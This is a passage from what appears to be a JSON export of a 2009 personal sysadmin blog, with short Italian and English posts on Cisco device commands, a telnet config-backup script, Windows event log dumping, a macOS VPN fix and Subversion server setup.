style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edeb http://your-mirror-url/debian/ lenny main non-free\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003edeb-src http://your-mirror-url/debian/ lenny main non-free\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eConfigurare il sistema per utilizzare java\u003c/p\u003e","title":"Miaoo - Tomcat su Debian"},{"content":"During a raining night..\nSyslog tail:\nJul 18 03:02:18 pbx01 kernel: [265460.092056] \u0026gt;\u0026gt;\u0026gt;\u0026gt;\u0026gt;\u0026gt;\u0026gt;\u0026gt;\u0026gt; Dump Card State Begins \u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt; Jul 18 03:02:18 pbx01 kernel: [265460.092059] scsi0: Dumping Card State in Command phase,/ at SEQADDR 0x157 Jul 18 03:02:18 pbx01 kernel: [265460.092063] Card was paused [cut] Jul 18 03:02:18 pbx01 kernel: [265460.092511] Pending list: Jul 18 03:02:18 pbx01 kernel: [265460.092514] 6 SCB_CONTROL[0x60]:(TAG_ENB|DISCENB) Jul 18 03:02:18 pbx01 kernel: [265460.092521] SCB_SCSIID[0x7] SCB_LUN\\[0x0]Jul 18 03:02:18 pbx01 kernel: [265460.092526] 2 SCB_CONTROL[0x74\\]: / (DISCONNECTED|MK_MESSAGE|TAG_ENB|DISCENB) Jul 18 03:02:18 pbx01 kernel: [265460.092534] SCB_SCSIID[0x7] SCB_LUN[0x0\\] Jul 18 03:02:18 pbx01 kernel: [265460.092539] 3 SCB_CONTROL[0x0] SCB_SCSIID[0x7] SCB_LUN[0x0] Jul 18 03:02:18 pbx01 kernel: [265460.092547] Kernel Free SCB list: 7 1 4 5 11 10 9 8 Jul 18 03:02:18 pbx01 kernel: [265460.092556] Jul 18 03:02:18 pbx01 kernel: [265460.092558] \u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt; Dump Card State Ends \u0026gt;\u0026gt;\u0026gt;\u0026gt;\u0026gt;\u0026gt;\u0026gt;\u0026gt;\u0026gt; Jul 18 03:02:18 pbx01 kernel: [265460.092570] scsi0:0:0:0: Cmd aborted from QINFIFO Jul 18 03:02:18 pbx01 kernel: [265460.092579] aic7xxx_abort returns 0x2002 Jul 18 03:02:18 pbx01 kernel: [265460.092590] sd 0:0:0:0: [sda] Attempting to queue a TARGET RESET message Jul 18 03:02:18 pbx01 kernel: [265460.092594] CDB: 0x2a 0x0 0x0 0x5a 0xf3 0xbc 0x0 0x0 0x8 0x0 Jul 18 03:02:18 pbx01 kernel: [265460.092604] aic7xxx_dev_reset returns 0x2003 Jul 18 03:02:18 pbx01 kernel: [265460.092655] Recovery SCB completes Jul 18 03:02:18 pbx01 kernel: [265460.092696] Recovery SCB completes pbx01:/# pbx01:/# Timeout, server not responding. leobook2-w:~ leonardorizzi$ Ouch!\n","permalink":"https://www.deepreflect.net/2009/07/18/scsi-r-i-p/","summary":"\u003cp\u003eDuring a raining night..\u003c/p\u003e\n\u003cp\u003eSyslog tail:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eJul 18 03:02:18 pbx01 kernel: [265460.092056] \u0026gt;\u0026gt;\u0026gt;\u0026gt;\u0026gt;\u0026gt;\u0026gt;\u0026gt;\u0026gt; Dump Card State Begins \u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eJul 18 03:02:18 pbx01 kernel: [265460.092059] scsi0: Dumping Card State in Command phase,/\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eat SEQADDR 0x157\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eJul 18 03:02:18 pbx01 kernel: [265460.092063] Card was paused\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[cut]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eJul 18 03:02:18 pbx01 kernel: [265460.092511] Pending list:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eJul 18 03:02:18 pbx01 kernel: [265460.092514] 6 SCB_CONTROL[0x60]:(TAG_ENB|DISCENB)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eJul 18 03:02:18 pbx01 kernel: [265460.092521] SCB_SCSIID[0x7] SCB_LUN\\[0x0]Jul 18 03:02:18 pbx01 kernel: [265460.092526] 2 SCB_CONTROL[0x74\\]: /\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e(DISCONNECTED|MK_MESSAGE|TAG_ENB|DISCENB)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eJul 18 03:02:18 pbx01 kernel: [265460.092534] SCB_SCSIID[0x7] SCB_LUN[0x0\\]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eJul 18 03:02:18 pbx01 kernel: [265460.092539] 3 SCB_CONTROL[0x0] SCB_SCSIID[0x7] SCB_LUN[0x0]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eJul 18 03:02:18 pbx01 kernel: [265460.092547] Kernel Free SCB list: 7 1 4 5 11 10 9 8\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eJul 18 03:02:18 pbx01 kernel: [265460.092556]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eJul 18 03:02:18 pbx01 kernel: [265460.092558] \u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt;\u0026lt; Dump Card State Ends \u0026gt;\u0026gt;\u0026gt;\u0026gt;\u0026gt;\u0026gt;\u0026gt;\u0026gt;\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eJul 18 03:02:18 pbx01 kernel: [265460.092570] scsi0:0:0:0: Cmd aborted from QINFIFO\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eJul 18 03:02:18 pbx01 kernel: [265460.092579] aic7xxx_abort returns 0x2002\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eJul 18 03:02:18 pbx01 kernel: [265460.092590] sd 0:0:0:0: [sda] Attempting to queue a TARGET RESET message\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eJul 18 03:02:18 pbx01 kernel: [265460.092594] CDB: 0x2a 0x0 0x0 0x5a 0xf3 0xbc 0x0 0x0 0x8 0x0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eJul 18 03:02:18 pbx01 kernel: [265460.092604] aic7xxx_dev_reset returns 0x2003\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eJul 18 03:02:18 pbx01 kernel: [265460.092655] Recovery SCB completes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eJul 18 03:02:18 pbx01 kernel: [265460.092696] Recovery SCB completes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003epbx01:/#\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003epbx01:/# Timeout, server not responding.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eleobook2-w:~ leonardorizzi$\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eOuch!\u003c/p\u003e","title":"SCSI R.I.P."},{"content":"Non ho mai trovato la giusta implementazione per usarla, ma questo dovrebbe copiare la configurazione di apparati cisco automaticamente ad ogni salvataggio:\narchive path scp://leo:xxxxxx@hostname/home/leo/router-backups/router write-memory ","permalink":"https://www.deepreflect.net/2009/07/01/cisco-autosave-scp/","summary":"\u003cp\u003eNon ho mai trovato la giusta implementazione per usarla, ma questo dovrebbe copiare la configurazione di apparati cisco automaticamente ad ogni salvataggio:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003earchive\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003epath scp://leo:xxxxxx@hostname/home/leo/router-backups/router\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ewrite-memory\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Cisco - Autosave scp"},{"content":"Just another link of useful utility:\nhttp://home.eunet.no/pnordahl/ntpasswd/\nhttp://pogostick.net/~pnh/ntpasswd/\n","permalink":"https://www.deepreflect.net/2009/07/01/offline-windows-password-registry-editor/","summary":"\u003cp\u003eJust another link of useful utility:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://home.eunet.no/pnordahl/ntpasswd/\"\u003ehttp://home.eunet.no/pnordahl/ntpasswd/\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://pogostick.net/~pnh/ntpasswd/\"\u003ehttp://pogostick.net/~pnh/ntpasswd/\u003c/a\u003e\u003c/p\u003e","title":"Offline Windows password \u0026 registry editor"},{"content":"If you wanna to dump windows event log, in readable format form debug youre fucking .NET application running on IIS you can do this:\nFist of all you need a special tool for this \u0026ldquo;dumpel.exe\u0026rdquo; (in pure Microsoft style) part of Windows Resource Kit 2000 (yeah only 9 year ago): You can download from http://support.microsoft.com/kb/927229 Then create a bat or vbs file with this command: dumpel.exe -l Application -f \u0026quot;\\\\path-to\\app_log\\app_all.csv\u0026quot;\n","permalink":"https://www.deepreflect.net/2009/05/19/dump-system-log-on-windows/","summary":"\u003cp\u003eIf you wanna to dump windows event log, in readable format form debug youre fucking .NET application running on IIS you can do this:\u003c/p\u003e\n\u003cp\u003eFist of all you need a special tool for this \u0026ldquo;dumpel.exe\u0026rdquo; (in pure Microsoft style) part of Windows Resource Kit 2000 (yeah only 9 year ago):\nYou can download from \u003ca href=\"http://support.microsoft.com/kb/927229\"\u003ehttp://support.microsoft.com/kb/927229\u003c/a\u003e\nThen create a bat or vbs file with this command:\n\u003ccode\u003edumpel.exe -l Application -f \u0026quot;\\\\path-to\\app_log\\app_all.csv\u0026quot;\u003c/code\u003e\u003c/p\u003e","title":"Dump System log on Windows"},{"content":"Life is a bitch, so fuck it!\n","permalink":"https://www.deepreflect.net/2009/05/18/worldly-wisdom/","summary":"\u003cp\u003eLife is a bitch, so fuck it!\u003c/p\u003e","title":"Worldly Wisdom"},{"content":"If you are running Cisco\u0026rsquo;s VPN Client on Mac OSX, you might be familiar with (or tormented by) \u0026ldquo;Error 51: Unable to communicate with the VPN subsystem\u0026rdquo;. The simple fix is to quit VPN Client, open a Terminal window, (Applications -\u0026gt; Utilities -\u0026gt; Terminal) and type the following from root user:\n# /System/Library/StartupItems/CiscoVPN/CiscoVPN restart Stopping Cisco Systems VPN Driver kextunload: unload kext /System/Library/Extensions/CiscoVPN.kext succeeded Starting Cisco Systems VPN Driver kextload: /System/Library/Extensions/CiscoVPN.kext loaded successfully ","permalink":"https://www.deepreflect.net/2009/04/27/mac-os-x-cisco-vpn-client/","summary":"\u003cp\u003eIf you are running Cisco\u0026rsquo;s VPN Client on Mac OSX, you might be familiar with (or tormented by) \u0026ldquo;Error 51: Unable to communicate with the VPN subsystem\u0026rdquo;. The simple fix is to quit VPN Client, open a Terminal window, (Applications -\u0026gt; Utilities -\u0026gt; Terminal) and type the following from root user:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# /System/Library/StartupItems/CiscoVPN/CiscoVPN restart\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eStopping Cisco Systems VPN Driver\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ekextunload: unload kext \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eSystem\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eLibrary\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eExtensions\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eCiscoVPN\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ekext succeeded\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eStarting Cisco Systems VPN Driver\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ekextload: \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eSystem\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eLibrary\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eExtensions\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eCiscoVPN\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ekext loaded successfully\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Mac OS X - Cisco VPN Client"},{"content":"Potete vedere a che punto sono del viaggio da qui:\nDa Amman ad Istambul partenza ore 3:30\nDa Istambul a Milano partenza ore 8:05\nGli orari sono espressi con il fuso locale data 20/04.\n","permalink":"https://www.deepreflect.net/2009/04/20/tracking-voli-di-ritorno/","summary":"\u003cp\u003ePotete vedere a che punto sono del viaggio da qui:\u003c/p\u003e\n\u003cp\u003eDa Amman ad Istambul partenza ore 3:30\u003c/p\u003e\n\u003cp\u003eDa Istambul a Milano partenza ore 8:05\u003c/p\u003e\n\u003cp\u003eGli orari sono espressi con il fuso locale data 20/04.\u003c/p\u003e","title":"Tracking voli di ritorno."},{"content":"Potete vedere a che punto sono del viaggio da qui:\nDa Milano a Istanbul partenza ore 11:00\nDa Istanbul ad Amman partenza ore 19:05\nGli orari sono espressi con il fuso locale data 14/04.\n","permalink":"https://www.deepreflect.net/2009/04/14/tracking-voli-di-andata/","summary":"\u003cp\u003ePotete vedere a che punto sono del viaggio da qui:\u003c/p\u003e\n\u003cp\u003eDa Milano a Istanbul partenza ore 11:00\u003c/p\u003e\n\u003cp\u003eDa Istanbul ad Amman partenza ore 19:05\u003c/p\u003e\n\u003cp\u003eGli orari sono espressi con il fuso locale data 14/04.\u003c/p\u003e","title":"Tracking voli di andata."},{"content":"On Router IOS:\nTo stop the page breaks:\n# terminal length 0\nTo resume them:\n# terminal no length 0 (or number ex. 24)\nOn Pix/ASA: To stop the page breaks.\n# no pager\nTo resume them:\n# pager 24\n","permalink":"https://www.deepreflect.net/2009/04/13/cisco-page-breaks/","summary":"\u003cp\u003eOn Router IOS:\u003c/p\u003e\n\u003cp\u003eTo stop the page breaks:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e# terminal length 0\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eTo resume them:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e# terminal no length 0 (or number ex. 24)\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eOn Pix/ASA:\nTo stop the page breaks.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e# no pager\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eTo resume them:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e# pager 24\u003c/code\u003e\u003c/p\u003e","title":"Cisco - page breaks"},{"content":"Vi è mai capitato di dover salvare delle configurazione da apparati cisco senza avere un tftp a disposizione?\nIn aiuto un piccolo script:\n#!/bin/bash host=xx.xx.xx.xx port=23 login=user passwd=pass nobreak=\u0026#39;terminal length 0\u0026#39; cmd=\u0026#39;show running-config all\u0026#39; (echo open ${host} ${port} sleep 1 echo ${login} sleep 1 echo ${passwd} sleep 1 echo ${nobreak} sleep 1 echo ${cmd} sleep 30 echo exit) | telnet sw01.txt ","permalink":"https://www.deepreflect.net/2009/04/13/cisco-get-save-config-using-telnet/","summary":"\u003cp\u003eVi è mai capitato di dover salvare delle configurazione da apparati cisco senza avere un tftp a disposizione?\u003c/p\u003e\n\u003cp\u003eIn aiuto un piccolo script:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#!/bin/bash\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ehost\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003exx.xx.xx.xx\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eport\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e23\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003elogin\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003euser\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003epasswd\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003epass\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enobreak\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;terminal length 0\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecmd\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;show running-config all\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003eecho open \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003ehost\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eport\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esleep \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eecho \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003elogin\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esleep \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eecho \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003epasswd\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esleep \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eecho \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003enobreak\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esleep \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eecho \u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003ecmd\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esleep \u003cspan style=\"color:#ae81ff\"\u003e30\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eecho exit\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e | telnet sw01.txt\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Cisco - Get \u0026 Save config using telnet"},{"content":"Thank you for your message. I\u0026rsquo;m currently out of office, with limited access to e-mail.\nI will be returning on 22/04\nFor very urgent issues, you may reach me at +393939878975\nLeonardo Rizzi\n\u0026ndash; Leonardo Rizzi - System \u0026amp; Network Architect HostingLab (Skillnet Srl) Viale E. Jenner 30 20159 - Milano Office: +39 025457173 Mobile: +39 3939878975 www.hostinglab.it\n","permalink":"https://www.deepreflect.net/2009/04/10/out-of-office-automatic-reply/","summary":"\u003cp\u003eThank you for your message. I\u0026rsquo;m currently out of office, with limited access to e-mail.\u003c/p\u003e\n\u003cp\u003eI will be returning on 22/04\u003c/p\u003e\n\u003cp\u003eFor very urgent issues, you may reach me at +393939878975\u003c/p\u003e\n\u003cp\u003eLeonardo Rizzi\u003c/p\u003e\n\u003cp\u003e\u0026ndash;\nLeonardo Rizzi - System \u0026amp; Network Architect\nHostingLab (Skillnet Srl)\nViale E. Jenner 30\n20159 - Milano\nOffice: +39 025457173\nMobile: +39 3939878975\n\u003ca href=\"https://www.hostinglab.it\"\u003ewww.hostinglab.it\u003c/a\u003e\u003c/p\u003e","title":"Out of Office automatic reply"},{"content":" Creating the repositories If you have not created any subversion repositories yet, you can create one with svnadmin:\n# svnadmin create ~/my-repository\nTweaking svnserve.conf Open up and edit the svnserve.conf file located in the $HOME/my-repo/conf/ directory.\nSample $HOME/my-repo/conf/svnserve.conf\n[general] # Path to the file containing svn users and passwords. password-db = $HOME/my-repo/conf/passwd # Authentication realm of the repository. Two repositories using the # same password-db should have the same realm. realm = My-test-repository # Deny all anonymous access anon-access = none # Grant authenticated users read and write privileges auth-access = write Setting up password authentication Open up and edit the password-db file (ie. $HOME/my-repo/conf/passwd). A sample entry might look like this:\n[users] user1 = password1 user2 = password2 Starting up the server Run the server by invoking svnserve with the -d switch (daemon mode) and \u0026ndash;listen-host 1.2.3.4 (substituting 1.2.3.4 for your v-host IP address).\n# svnserve -d --listen-host 1.2.3.4 -r $HOME/my-repo\nTo ensure that your svnserve gets started whenever the server is booted, you must add a @reboot line to your crontab. Use the crontab -e command to bring up your crontab in your favorite text editor and add the following line:\n@reboot svnserve -d --listen-host 1.2.3.4 -r $HOME/my-repo\nTesting the server To test the server\u0026rsquo;s functionality, you can create a working copy of your repository using your shell. The checkout command will create a working copy of the repository:\n# svn co svn://your-domain.com/$HOME/my-repo my-working-dir # cd my-working-dir # echo \u0026#34;foo bar\u0026#34; test-file # svn add test-file # svn remove test-file # svn commit ","permalink":"https://www.deepreflect.net/2009/03/29/configuring-the-svnserve-daemon/","summary":"\u003cul\u003e\n\u003cli\u003eCreating the repositories\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eIf you have not created any subversion repositories yet, you can create one with svnadmin:\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e# svnadmin create ~/my-repository\u003c/code\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eTweaking svnserve.conf\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eOpen up and edit the svnserve.conf file located in the $HOME/my-repo/conf/ directory.\u003c/p\u003e\n\u003cp\u003eSample $HOME/my-repo/conf/svnserve.conf\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[general]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# Path to the file containing svn users and passwords.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003epassword-db = $HOME/my-repo/conf/passwd\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# Authentication realm of the repository. Two repositories using the\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# same password-db should have the same realm.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003erealm = My-test-repository\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# Deny all anonymous access\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eanon-access = none\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# Grant authenticated users read and write privileges\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eauth-access = write\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cul\u003e\n\u003cli\u003eSetting up password authentication\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eOpen up and edit the password-db file (ie. $HOME/my-repo/conf/passwd). A sample entry might look like this:\u003c/p\u003e","title":"Configuring the svnserve daemon"},{"content":" Creating the repository If you have not created any Subversion repositories yet, you can create one with svnadmin:\n# svnadmin create ~/my-repository\nAdding mod_dav_svn to your httpd\n# a2enmod mod\\_dav\\_svn\nIf you plan to use fine-grained permissions, load mod_authz_svn.so as well:\n# a2enmod mod_authz_svn\nConfiguring access to repositories HTTP access to your repositories is defined using a \u0026lt;Location\u0026gt; section in your httpd.conf.\n\u0026lt;Location /myproject\u0026gt; DAV svn SVNPath /home/myself/myrepos/myproject AuthType Basic AuthName \u0026#34;My project\u0026#34; AuthUserFile /home/myself/private/myproject.pw Order deny,allow \u0026lt;LimitExcept GET PROPFIND OPTIONS REPORT\u0026gt; Require valid-user \u0026lt;/LimitExcept\u0026gt; \u0026lt;/Location\u0026gt; This entry would grant read-only access to everyone and write access to every user AuthUserFile. You can use the htpasswd utility to create or update this file, as described here.\nThe next entry grants read/write access to users in the AuthUserFile, and no access to anyone else.\n\u0026lt;Location /myproject\u0026gt; DAV svn SVNPath /home/myself/myrepos/myproject AuthType Basic AuthName \u0026#34;My project\u0026#34; AuthUserFile /home/myself/private/myproject.pw Order deny,allow Require valid-user \u0026lt;/Location\u0026gt; The previous examples all define access on a per-repository basis. It is also possible to grant access from specific users to specific areas of the repository, using fine-grained permissions.\nTesting the repository Using either a remote Subversion client or the standard svn command from your shell, you can generate your working copy of the repository with the checkout command. If you are accessing public data over a read-only account, you can use a standard http URL:\n# svn co http://your-domain/myproject/\nIf you are accessing private data or using a read/write account, make sure to use an https URL:\n# svn co https://your-domain/myproject/\nThe contents of public repositories are also accessible from a web browser. Keep in mind that search engines will try to index any public data, so you may want to use a robots.txt file.\nUsing fine-grained permissions (optional) You can allow or deny specific users read/write privileges on specific items within a repository using AuthzSVNAccessFile. If 